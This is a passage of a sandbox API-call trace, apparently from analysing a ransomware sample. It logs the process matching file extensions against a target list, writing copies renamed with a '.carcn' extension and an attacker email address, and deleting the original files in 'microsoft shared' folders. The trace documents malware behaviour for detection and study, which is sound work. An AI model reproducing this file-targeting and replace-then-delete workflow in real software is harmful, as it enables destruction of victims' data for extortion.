returned 4 [0296.367] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.367] lstrlenW (lpString=".docx") returned 5 [0296.367] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.367] lstrlenW (lpString=".pdf") returned 4 [0296.367] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.367] lstrlenW (lpString=".xls") returned 4 [0296.367] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.367] lstrlenW (lpString=".xlsx") returned 5 [0296.367] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.367] lstrlenW (lpString=".ppt") returned 4 [0296.367] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.368] lstrlenW (lpString=".zip") returned 4 [0296.368] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.368] lstrlenW (lpString=".rar") returned 4 [0296.368] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.368] lstrlenW (lpString=".bz2") returned 4 [0296.368] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.368] lstrlenW (lpString=".7z") returned 3 [0296.368] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.368] lstrlenW (lpString=".dbf") returned 4 [0296.368] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.368] lstrlenW (lpString=".1cd") returned 4 [0296.368] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0296.368] lstrlenW (lpString=".jpg") returned 4 [0296.368] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.368] lstrcmpiW (lpString1=".EXE", lpString2=".carcn") returned 1 [0296.368] lstrlenW (lpString="OSE.EXE") returned 7 [0296.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0296.370] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=244296) returned 1 [0296.370] CloseHandle (hObject=0x36c) returned 1 [0296.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0296.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0296.370] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.370] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0296.371] GetLastError () returned 0x0 [0296.371] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x3ba48, lpOverlapped=0x0) returned 1 [0296.385] WriteFile (in: hFile=0x390, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x3ba50, lpOverlapped=0x0) returned 1 [0296.390] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.390] WriteFile (in: hFile=0x390, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0296.390] SetEndOfFile (hFile=0x390) returned 1 [0296.390] CloseHandle (hObject=0x390) returned 1 [0296.390] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.391] SetEndOfFile (hFile=0x36c) returned 1 [0296.393] CloseHandle (hObject=0x36c) returned 1 [0296.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0296.393] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0296.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.394] lstrlenW (lpString=".doc") returned 4 [0296.394] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0296.394] lstrlenW (lpString=".docx") returned 5 [0296.394] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0296.394] lstrlenW (lpString=".pdf") returned 4 [0296.394] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0296.394] lstrlenW (lpString=".xls") returned 4 [0296.394] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0296.394] lstrlenW (lpString=".xlsx") returned 5 [0296.394] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0296.394] lstrlenW (lpString=".ppt") returned 4 [0296.394] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0296.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.394] lstrlenW (lpString=".zip") returned 4 [0296.394] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0296.394] lstrlenW (lpString=".rar") returned 4 [0296.394] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0296.394] lstrlenW (lpString=".bz2") returned 4 [0296.394] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0296.394] lstrlenW (lpString=".7z") returned 3 [0296.394] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0296.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.394] lstrlenW (lpString=".dbf") returned 4 [0296.394] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0296.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.395] lstrlenW (lpString=".1cd") returned 4 [0296.395] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0296.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.395] lstrlenW (lpString=".jpg") returned 4 [0296.395] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0296.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.395] lstrlenW (lpString=".doc") returned 4 [0296.395] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0296.395] lstrlenW (lpString=".docx") returned 5 [0296.395] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0296.395] lstrlenW (lpString=".pdf") returned 4 [0296.395] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0296.395] lstrlenW (lpString=".xls") returned 4 [0296.395] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0296.395] lstrlenW (lpString=".xlsx") returned 5 [0296.395] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0296.395] lstrlenW (lpString=".ppt") returned 4 [0296.395] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0296.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.395] lstrlenW (lpString=".zip") returned 4 [0296.395] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0296.395] lstrlenW (lpString=".rar") returned 4 [0296.395] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0296.395] lstrlenW (lpString=".bz2") returned 4 [0296.395] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0296.395] lstrlenW (lpString=".7z") returned 3 [0296.396] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0296.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.396] lstrlenW (lpString=".dbf") returned 4 [0296.396] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0296.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.396] lstrlenW (lpString=".1cd") returned 4 [0296.396] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0296.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0296.396] lstrlenW (lpString=".jpg") returned 4 [0296.396] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0296.396] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0296.396] lstrlenW (lpString="msdia100.dll") returned 12 [0296.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0296.397] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=990032) returned 1 [0296.397] CloseHandle (hObject=0x36c) returned 1 [0296.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0296.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0296.397] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.397] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0296.398] GetLastError () returned 0x0 [0296.398] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0xf1b50, lpOverlapped=0x0) returned 1 [0297.030] WriteFile (in: hFile=0x390, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf1b60, lpOverlapped=0x0) returned 1 [0297.074] ReadFile (in: hFile=0x36c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.074] WriteFile (in: hFile=0x390, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.075] SetEndOfFile (hFile=0x390) returned 1 [0297.075] CloseHandle (hObject=0x390) returned 1 [0297.075] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.075] SetEndOfFile (hFile=0x36c) returned 1 [0297.082] CloseHandle (hObject=0x36c) returned 1 [0297.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.082] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0297.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.082] lstrlenW (lpString=".doc") returned 4 [0297.082] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString=".docx") returned 5 [0297.083] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0297.083] lstrlenW (lpString=".pdf") returned 4 [0297.083] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString=".xls") returned 4 [0297.083] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString=".xlsx") returned 5 [0297.083] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0297.083] lstrlenW (lpString=".ppt") returned 4 [0297.083] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.083] lstrlenW (lpString=".zip") returned 4 [0297.083] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString=".rar") returned 4 [0297.083] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString=".bz2") returned 4 [0297.083] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.083] lstrlenW (lpString=".7z") returned 3 [0297.083] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.083] lstrlenW (lpString=".dbf") returned 4 [0297.083] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.083] lstrlenW (lpString=".1cd") returned 4 [0297.083] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.083] lstrlenW (lpString=".jpg") returned 4 [0297.083] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.083] lstrlenW (lpString=".doc") returned 4 [0297.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString=".docx") returned 5 [0297.083] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0297.083] lstrlenW (lpString=".pdf") returned 4 [0297.083] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.083] lstrlenW (lpString=".xls") returned 4 [0297.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.084] lstrlenW (lpString=".xlsx") returned 5 [0297.084] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0297.084] lstrlenW (lpString=".ppt") returned 4 [0297.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.084] lstrlenW (lpString=".zip") returned 4 [0297.084] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.084] lstrlenW (lpString=".rar") returned 4 [0297.084] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.084] lstrlenW (lpString=".bz2") returned 4 [0297.084] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.084] lstrlenW (lpString=".7z") returned 3 [0297.084] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.084] lstrlenW (lpString=".dbf") returned 4 [0297.084] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.084] lstrlenW (lpString=".1cd") returned 4 [0297.084] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0297.084] lstrlenW (lpString=".jpg") returned 4 [0297.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.084] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.084] lstrlenW (lpString="VSTOLoader.dll") returned 14 [0297.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.085] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=367216) returned 1 [0297.085] CloseHandle (hObject=0x36c) returned 1 [0297.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0297.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0297.779] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.779] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0297.780] GetLastError () returned 0x0 [0297.780] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x59a70, lpOverlapped=0x0) returned 1 [0297.811] WriteFile (in: hFile=0x380, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x59a80, lpOverlapped=0x0) returned 1 [0297.831] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.831] WriteFile (in: hFile=0x380, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf0, lpOverlapped=0x0) returned 1 [0297.832] SetEndOfFile (hFile=0x380) returned 1 [0297.832] CloseHandle (hObject=0x380) returned 1 [0297.832] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.832] SetEndOfFile (hFile=0x338) returned 1 [0297.854] CloseHandle (hObject=0x338) returned 1 [0297.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.855] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0297.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.855] lstrlenW (lpString=".doc") returned 4 [0297.855] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString=".docx") returned 5 [0297.855] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0297.855] lstrlenW (lpString=".pdf") returned 4 [0297.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString=".xls") returned 4 [0297.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.855] lstrlenW (lpString=".xlsx") returned 5 [0297.855] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0297.855] lstrlenW (lpString=".ppt") returned 4 [0297.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.856] lstrlenW (lpString=".zip") returned 4 [0297.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".rar") returned 4 [0297.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".bz2") returned 4 [0297.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.856] lstrlenW (lpString=".7z") returned 3 [0297.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.856] lstrlenW (lpString=".dbf") returned 4 [0297.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.856] lstrlenW (lpString=".1cd") returned 4 [0297.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.856] lstrlenW (lpString=".jpg") returned 4 [0297.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.856] lstrlenW (lpString=".doc") returned 4 [0297.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.856] lstrlenW (lpString=".docx") returned 5 [0297.856] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0297.856] lstrlenW (lpString=".pdf") returned 4 [0297.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.857] lstrlenW (lpString=".xls") returned 4 [0297.857] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.857] lstrlenW (lpString=".xlsx") returned 5 [0297.857] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0297.857] lstrlenW (lpString=".ppt") returned 4 [0297.857] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.857] lstrlenW (lpString=".zip") returned 4 [0297.857] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.857] lstrlenW (lpString=".rar") returned 4 [0297.857] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.857] lstrlenW (lpString=".bz2") returned 4 [0297.857] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.857] lstrlenW (lpString=".7z") returned 3 [0297.857] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0297.857] lstrlenW (lpString=".dbf") returned 4 [0297.857] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned 